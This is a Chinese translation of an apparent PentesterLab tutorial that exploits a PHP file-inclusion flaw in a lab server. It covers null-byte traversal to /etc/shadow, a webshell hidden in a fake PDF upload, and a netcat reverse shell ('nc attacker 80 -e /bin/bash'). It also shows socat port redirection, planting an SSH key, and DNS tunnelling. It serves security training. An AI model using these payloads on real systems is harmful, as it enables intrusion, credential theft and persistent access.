简介
本课程详细讲解了发现和利用一个有限制的环境中的PHP漏洞。
然后介绍了post漏洞利用的基础,shell,反向shell和TCP重定向。
攻击分为三个步骤:
- 指纹识别:收集Web应用使用的技术信息。
- 检测和利用PHP包含漏洞:在这一部分中,您将学习PHP包含漏洞的工作原理以及如何利用它来获取代码执行。
- Post漏洞利用:访问操作系统,获得shell并且执行TCP重定向到其他服务。
指纹识别
指纹识别可以通过使用多个工具。首先通过使用浏览器,将有可能检测到该应用程序是用PHP写的。
检查HTTP标头
大量的信息可以通过使用telnet或netcat连接到远程Web应用程序获取:
1 | telnet vulnerable 80 |
PS:
- vulnerable是主机名或服务器的IP地址;
- 80是由Web应用程序使用的TCP端口(80是HTTP默认值)。
通过发送以下HTTP请求:
1 | GET / HTTP/1.1 |
它有可能获取到PHP版本和Web服务器信息,仅仅通过观察服务器发送回的HTTP响应报头:
1 | HTTP/1.1 200 OK |
这里的应用程序通过HTTP。如果应用程序只能通过HTTPS,telnet或netcat就无法与服务器进行通信,可以使用 openssl 工具:
1 | openssl s_client -connect vulnerable:443 |
PS:
- vulnerable是主机名或服务器的IP地址;
- 443是由Web应用程序使用的TCP端口(443是HTTPS的默认值)
使用应用程序如Burp Suite(http://portswigger.net/)设置为代理可以很容易地获取相同的信息。
使用Nikto
Nikto工具(http://cirt.net/nikto2)可用于收集远程服务器上的信息。Nikto检查已知的漏洞路径并且检查HTTP标头。这是一个特别有用的工具,在旧系统中找到漏洞(Lotus Domino, IIS4, …)。
下面的命令可以执行扫描远程服务器:
1 | perl nikto.pl -h http://vulnerable/ |
我们可以看到Nikto找到了一些问题:
- Apache和PHP版本;
- 一个潜在的PHP包含问题;
- 假积极性(OSVDB-3126);
- PHP的复活节彩蛋是可用,PHP配置 exposed_php 开启状态(OSVDB-12184);
- 一些目录可以索引;
- 登陆页。
检测和利用 PHP 文件包含漏洞
PHP文件包含漏洞介绍
之前,开发者使用服务器端包含来复制在许多网页中相同的信息,保持在只有一个地方(避免代码重复和耗时的更新)。当开发人员开始使用PHP,他们开始使用PHP函数 include 和 require (部分较聪明的使用 include_once 和 require_once )执行同样的事情。该代码是包含到当前页面并且解释作为它的一部分。
只要人们使用一个恒定的路径在 include 或 require 中,没有任何安全的隐患。然而,一些开发者在这里使用了在用户的控制下的路径。这可能导致文件包含。如果有人可以决定哪些文件被包含和解释,他可以通过控制他的文件并且强制服务器解释任意代码。
如果,你在执行代码审查,脆弱的PHP代码看起来类似于这种:
1 |
|
第一行用于包括header.php并不脆弱因为第一行的值header.php不是由用户控制。
然而,在第二行,由用户提供的值($_GET[“page”])是直接使用,没有任何过滤或预处理。这是一个典型的文件包含。
有两种典型的文件包含:
- 本地文件包含,
- 远程文件包含。
他们都来自同一个问题(使用用户的输入包含一个文件),唯一的区别是他们可以利用的途径。一个远程文件包含可以通过使用任何资源来利用,而本地文件包含只能使用本地资源来利用。
PHP文件包含检测
本地文件包含的检测类似于目录遍历,因为我们是在玩一个路径。
我们知道,PHP脚本使用用户提供的值并且使用它作为一个包含文件的路径,但是所提供的值可以通过PHP代码修改:
- 父目录可以添加:include(“includes/“.$_GET[“page”]); ;
- 文件扩展名可以添加:include($_GET[“page”].”.php”); ;
- 值可以被净化:include(basename($_GET[“page”])); ;
- 之前所有的操作都可以执行:include(“includes/“.basename($_GET[“page”]).”.php”); 。
这些修改将修改这一问题的检测和利用。
PHP提供了对远程文件的保护包括(allowurlinclude 在PHP配置文件中)。这种配置也会修改Web应用中检测和利用PHP文件包含的行为。
最简单的方法是测试包含路径,将生成错误消息。
你可以先尝试包含一个不存在的文件:例如 pentesterlab123randomvalue 是不可能存在的;;你可以用它来看看有什么消息被应用程序发送回来。我们可以看到下面的错误消息被抛出:
1 | <b>Warning</b>: include(pentesterlab123randomvalue.php) [<a href='function.include'>function.include</a>]: failed to open stream: No such file or directory in <b>/var/www/index.php</b> on line <b>28</b><br /> <br /> |
这个错误信息给了我们需要在漏洞利用时使用的重要信息:
1 | Failed opening 'pentesterlab123randomvalue.php' for inclusion |
由于我们使用的字符串 pentesterlab123randomvalue ,我们可以猜测后缀名 .php 是被PHP代码添加的。
我们可以尝试访问一个没有权限的文件:例如访问 /etc/shadow 将有可能因为当前网络服务器的用户没有权限而产生一个异常。然而,由于PHP代码添加了后缀名 .php ,我们需要添加一个空字节(编码为 %00 )来绕过它并且访问页面 http://vulnerable/index.php?page=../../../../../etc/shadow%00。你可以使用很多 ../向上访问文件系统中的 shadow文件。下面的错误信息显示:
1 | <b>Warning</b>: include(../../../../../etc/shadow) [<a href='function.include'>function.include</a>]: failed to open stream: Permission denied in <b>/var/www/index.php</b> on line <b>28</b><br /> |
我们可以看到,我们有一个不同的错误信息:Permission denied 并且我们的空字节技巧生效了,因为PHP尝试包含文件../../../../../etc/shadow 。
你可以尝试用文件 /etc/passwd 使用同样的把戏(../ 和空字节),你应该能访问到文件内容:
你可以修改请求的值从字符串到数组;这可能会影响到PHP的行为。例如,修改参数 page=login 到 page[]=login ,下面的错误信息被抛出:
1 | <b>Warning</b>: include(Array.php) [<a href='function.include'>function.include</a>]: failed to open stream: No such file or directory in <b>/var/www/index.php</b> on line <b>28</b><br /> <br /> |
我们可以看到,提供的值已经被改变成了数组因为PHP将它作为一个字符串转换了。
检查的另一种方法是使用不同的值观构建相同的路径。例如,以下路径:classes/../login ,./login 和 login 匹配相同的文件。Windows和Unix目前对于路径管理的主要区别,假如你尝试访问 classes/../login 并且存储库类不存在,Linux/Unix将抛出一个错误,而Windows将忽略这个问题,显示正确的页面。
你可以使用另一个Web服务器测试远程文件访问,然而,它只会工作在以下情况下:
- 如果PHP配置允许远程文件包含;
- 如果Web服务器访问远程服务器可以被防火墙阻止,缺少DNS解析(可以使用IP地址来绕过),通过Web代理服务器或通过网络(例如,你的测试环境中没有互联网接入)。
例如,你可以访问以下URL尝试包含谷歌主页:
http://vulnerable/index.php?page=http://www.google.com/?
URL末尾的?用来确保任何添加到URL的扩展或后缀将被谷歌的服务器解释为一个参数。脆弱的系统没有配置允许远程文件包含,显示如下错误信息:
1 | <br /> <b>Warning</b>: include() [<a href='function.include'>function.include</a>]: URL file-access is disabled in the server configuration in <b>/var/www/index.php</b> on line <b>28</b><br /> |
如果PHP配置允许远程包含,这是一个例子,我们看到了什么:
我们可以看到“正常”的页面并且谷歌网页已经被包含进来了。
从这个测试中,我们可以猜出:
- 有一个本地文件包含漏洞;
- 一个.php扩展被添加到提交的值后面。
PHP文件包含利用
与SQL注入(盲注和非盲注)类似,你可以首先尝试包括远程文件,如果它不工作,你需要使用一个本地文件包含。
远程文件包含利用
利用远程文件包含,你只需要安装一个Web服务器来运行你的PHP代码。PHP代码是一个简单的webshell:
1 |
|
你需要使用一个不会被你的服务器解析成PHP文件的扩展名来保存这个文件来确保脆弱的服务器收到的是PHP代码而不是PHP代码的执行结果。例如你可以使用扩展名: .txt 。然后你可以包含文件并指定要运行的命令去访问页面:http://vulnerable/index.php?page=http://yourserver/webshell.txt&cmd=ifconfig
如果你访问这个页面(配置允许远程文件包含),下面的步骤会发生:
- PHP脚本将检索文件 webshell.txt ;
- PHP脚本将开始解释代码;
- PHP脚本将使用URL中所提供的cmd的值(注:值是提供给脆弱的服务器不是你的服务器);
- 提供的命令将被执行;
- 服务器将发送回命令的结果。
正如我们之前所说的,脆弱的系统是不存在远程文件包含,这种方法不会在当前的设置下工作。
本地文件包含利用
有很多方法可以利用一个本地文件包含,它们都是基于相同的方法:你需要找到一个办法把PHP代码放入在系统上的文件,然后包含代码。
可以使用下列方法:
- 在日志中注入PHP代码:例如,一个Web服务器,通过访问的URL(路径包含PHP代码),然后包含Web服务器的日志。
- 在一封电子邮件中注入PHP代码,通过发送电子邮件,然后包括电子邮件(在`/var/spool/mai)。
- 上传一个文件,包含它,例如你可以上传一个图像并把你的PHP代码写在图像的注释部分(因此不会修改图像大小)。
- 上传PHP代码通过另一个服务:FTP,NFS,…
- …
注入到日志应该是你最后的解决方案,如果你没有正确地使用PHP语法(正确的PHP代码和正确的HTTP编码)在第一次尝试,你将不得不等待日志替换。
在这里我们可以看到,该应用程序允许用户上传一个介绍为“征文”。我们将使用此功能来上传我们的PHP代码。
为了测试这个上传功能,我们需要检查:
- 可以上传的文件扩展名;
- 可以上传的内容类型。
检查扩展可以很容易地通过重命名PDF文件到一个PHP文件做尝试上传。如果文件扩展名的PDF文件是可接受的,很可能是没有控制文件扩展名。
一些PHP开发者的信任值由HTTP协议在多部分消息,只检查值为$_FILES['file']['type']
。这个值是由客户端控制,可以使用代理服务器很容易修改。
对于内容类型,我们只需要工作在其他方式,我们可以创建一个txt文件,重命名为file.pdf。如果应用程序接收文件,则没有过滤内容类型。
在这里我们可以看到,通过之前的方法测试,扩展名和内容类型都被上传脚本检查。
利用这个问题,我们将需要一个有效的PDF文件包含PHP代码。
我们可以使用下列方法之一:
- 采取任何PDF并且增加我们的PHP的有效载荷;
- 创建一个PHP文件看起来像一个PDF,并将绕过内容类型检查。
第一种方法可能会造成一些问题取决于文件内容(因为有些字符不能正确支持在包含中)和可能不工作。第二种方法是安全的,为什么我们要用它。
如果你打开一个PDF文件,你可以看到第一行看起来像:
1 | head -n 1 sample.pdf |
如果你使用函数 mime_content_type (大部分PHP开发者用它来检查文件类型),你可以看到,只有以下需要: % pdf-1.4 (或不同的版本)。
基于这些信息,我们可以创造我们的假PDF文件:
1 | %PDF-1.4 |
然后使用PDF扩展名命名它(例如 lfi.pdf )。如果你的PHP安装在您的系统(命令行解释器),您可以快速检查文件是否被认为是一个PDF通过使用下面的代码:
1 |
|
然后运行它:
1 | php content-type.php |
我们现在有一个有效的PDF包含PHP的有效载荷。
一旦我们把我们的文件上传,我们需要包含它,为了得到这方面的信息,可以登录电子邮件和密码设置,看到有一个链接到我们上传的文件。
我们已经知道了文件被上传,我们可以包含它。然而,我们需要有一个空字节来摆脱被合法的PHP代码添加的扩展名。
PHP 5.3.4之后不能使用零字节的技巧摆脱扩展名做本地文件包含。
我们可以访问以下页面获取命令执行:http://vulnerable/index.php?page=uploads/lfi.pdf%00&cmd=uname
注:
- page参数是我们上传的文件名,添加一个空字节;
- cmd是我们要运行的命令。
我们可以在包含文件页面看到PDF-和命令的结果:
1 | %PDF- Linux |
Shell与反向Shell
后续利用介绍
后续利用允许你更好的访问系统。有一个webshell是第一步,然而,对于每个命令你将需要发送一个HTTP请求并等待结果。此外,如果你试着用 cd .. 移动到父目录,你会看到下一个命令仍将运行在相同的目录:每个请求都是完全独立于前一个。
为了绕过这些限制,我们将需要得到一个“真正”的shell在远程操作系统上。
Shell与反向Shell
有两种方法得到远程服务器上的shell,你可以获得命令执行:
- 使用shell:你将绑定一个shell到一个TCP端口(step1)。然后你就可以连接它运行命令(step2)。
- 使用反向shell:你可以在你的本地系统绑定一个端口(step1),在服务器端连接到这个端口并且重定向输入和输出到一个shell。然后你就可以运行命令。
在大多数系统(包括脆弱的系统),你将能够绑定一个端口(只要你选择1024的端口,因为这是一个Unix系统),但是很可能你将无法访问它(因为你和易受攻击的服务器之间的防火墙)。这就是为什么大多数的时间,绑定shell到端口不能解决问题。
因为防火墙更容易过滤入站流量相比于出站流量,这是更可能是一个反向shell正常工作。此外,您可以使用特权端口(如TCP/80或TCP/443)只要你在系统中有充分的权限。
使用反向shell连接我们需要确保netcat在双方系统都是可用的。
在您的本地系统,你可以很容易地安装它,因为你有充分的机会。根据你的操作系统,你将需要:
- 从Nmap项目中安装ncat(http://nmap.org/ncat/)如果你使用Windows。
- 从Nmap项目中安装ncat(http://nmap.org/download.html#macosx)如果你使用Mac OS。
- 在Fedora中安装nmap并且使用 ncat 。
- 在Debian中安装nmap并且使用 netcat 。
有不同版本的netcat存在并且其中一些不支持 -e
参数。确保你使用的版本支持此参数。
在远程服务器上已经安装有netcat。如果没有,你可以使用下面的方法:
- 添加 %PDF-1.4 到文件第一行并且使用合法的上传脚本;
- 使用wget从远程服务器下载。
对于这两种方法,您将需要有一个版本的nc针对目标操作系统的体系结构编译(最有可能是一个静态二进制文件)。
对于第一种方法,如果你是一个Unix系统(Linux,Mac或*BSD),你可以:
添加一个PDF文件头:
1 | echo "%PDF-" > pdfheader |
上传你创建的服务器文件。
从文件中提取二进制文件使用文件包含漏洞:
1 | tail -n +2 nc.pdf > nc |
对于第二种方法,你只需要下载nc从远程服务器使用包含漏洞。
在被感染的系统上运行命令,我们将使用本地文件包含漏洞。我们需要遵循这些步骤:
在本地操作系统使用netcat绑定一个端口(nc或netcat,取决于你的系统):
1 | sudo nc -l -p 80 |
使用我们的webshell运行netcat影响服务器通过访问以下URL:(http://vulnerable/index.php?page=uploads/lfi.pdf%00&cmd=nc%20attacker%2080%20-e%20/bin/bash)对应的命令:
1 | nc attacker 80 -e /bin/bash |
attacker是你的Ip地址。
使用sudo(或root权限)允许我们绑定80端口,该端口不能被视为一个普通用户。端口80(HTTP)是不太可能被封锁。以下端口也可以尝试:21,53,443。
然后你可以运行命令(uname或id为例)在本地的nc:
1 | sudo nc -l -p 80 |
通过socat进行TCP重定向
我们现在有一个shell,但它会变得更好如果有一个真正的shell(比如支持Ctrl-C),可以轻松地复制和检索文件例如使用SSH。
要做到这一点,我们需要使用socat(http://www.dest-unreach.org/socat/)。socat可能是日常系统管理和入侵的最有用的网络工具之一。
你可以找到一些Windows版本在互联网上,但它可能是更好的使用你自己编译的版本,或者你使用一个虚拟Linux系统。
因为这个脆弱的系统是防火墙,我们将使用一个反向连接告诉socat重定向所有流量从我们的系统到一个本地端口。
在这个例子中,我们将尝试访问本地SSH服务器上可用的端口22,使用重定向到我们在本地系统的2222端口。下面的图显示了两个系统之间的网络流:
正如你所看到的,唯一需要的权限在攻击者的一面,允许我们使用这种技术通过低特权帐户。
首先,我们需要把我们的本地端口2222(我们将在之后访问)和将访问的脆弱的服务器端口(端口443来避免防火墙,因为80端口已经被使用)绑定起来:
1 | attacker $ sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr |
443端口需要在第一个位置,因为它是脆弱的服务器将尝试连接到的端口。限制访问本地端口,不允许任何人在我们的网络访问端口443和服务器上的远程端口重定向,选项可以使用绑定范围。
在远程服务器上,我们需要做到以下几点:
1 | vulnerable $ while true; do socat TCP4:attacker:443 TCP4:127.0.0.1:22 ; done |
attacker 是你的IP地址。
别忘了杀掉循环当你不需要重定向的时候。
我们可以尝试SSH到远程系统:
1 | attacker $ ssh localhost -p 2222 |
然而,我们无法连接,因为我们不知道 www-data 的密码。
要获得SSH访问,我们将需要设置一个远程服务器上的SSH密钥。
1 | attacker $ ssh-keygen -P "" -f vulnerable |
注:
- -P 表示一个空的密码;
- -f 表示文件名。
两个文件将被创建:vulnerable 和 vulnerable.pub
我们可以使用前面上传netcat(或任意文件)的方法之一来上传公钥文件到脆弱的系统上。为此,我们需要停止socat和netcat。因为公钥文件不是二进制文件,我们只能通过一个新的netcat的shell把文件复制过去。你需要重新运行一个监听netcat在端口80(sudo ncat -l -p 80)然后你可以上传公钥文件。
1 | attacker $ sudo ncat -l -p 80 |
现在,一切工作正常,我们可以重新启动socat的进程。(注:重启本地socat并且重新运行在脆弱的系统上的socat命令)并且连接到之前socat创建的连接。
1 | attacker $ ssh localhost -p 2222 -l www-data -i vulnerable |
注:
- -p 2222 是通过SSH转发的端口;
- -l www-data 表明我们将要使用的用户的名称(可以使用netcat的shell的命令id得到这个值);
- -i vulnerable 是私钥文件。
一旦我们有了SSH访问远程服务器,现在我们可以很容易地使用SSH进行端口重定向,例如访问本地MySQL服务器。
1 | attacker $ ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306 |
然后你可以检查您使用SSH重定向访问的MySQL(在您的本地系统):
MySQL客户端:
1 | attacker $ mysql -h localhost -u root -P 13306 |
telnet去看MySQL服务端的banner:
1 | attacker $ telnet localhost 13306 |
SSH允许我们使用其他工具如sshfs挂载影响服务器的文件系统,或使用这个服务器作为socks代理访问其他内部服务器(使用 ssh -D)或运行X11应用。
DNS隧道
不幸的是,一个简单的虚拟系统不提供我们的架构设置这种喷出方法,但最好要知道它能做的这些。
当入站和出站流量完全过滤,你仍然可以使用DNS隧道(如果DNS请求“互联网”是允许的)。可以使用的工具 dns2tcp 。
下面的图表说明了DNS隧道工作情况:
让我们说,客户想发送字符串AAAA到服务器,它将发送一个DNS请求到 aaaa.pentesterlab.com ,此DNS请求将被转发到客户端的DNS服务器和所有的服务器,直到达到DNS服务器 pentesterlab.com 。这样的字符串AAAA已通过所有的DNS服务器到服务器。然后服务器要返回字符串 BBBB 到客户端,它将使用合法的DNS响应并且信息将向客户传递后被所有DNS服务器发送请求时使用。
DNS隧道是绕过安全限制的最热点的一种简易方法。
在这里,被入侵的系统将作为dns2tcp客户端,它会发送一个请求来检索它需要运行的命令,一旦收到响应,它会运行命令并发送结果到服务器。
例如,让我们使用带d.pentesterlab.com作为我们的dns2tcp服务器。我们将运行以下命令:
- 在受感染的系统上;
- 在服务器上。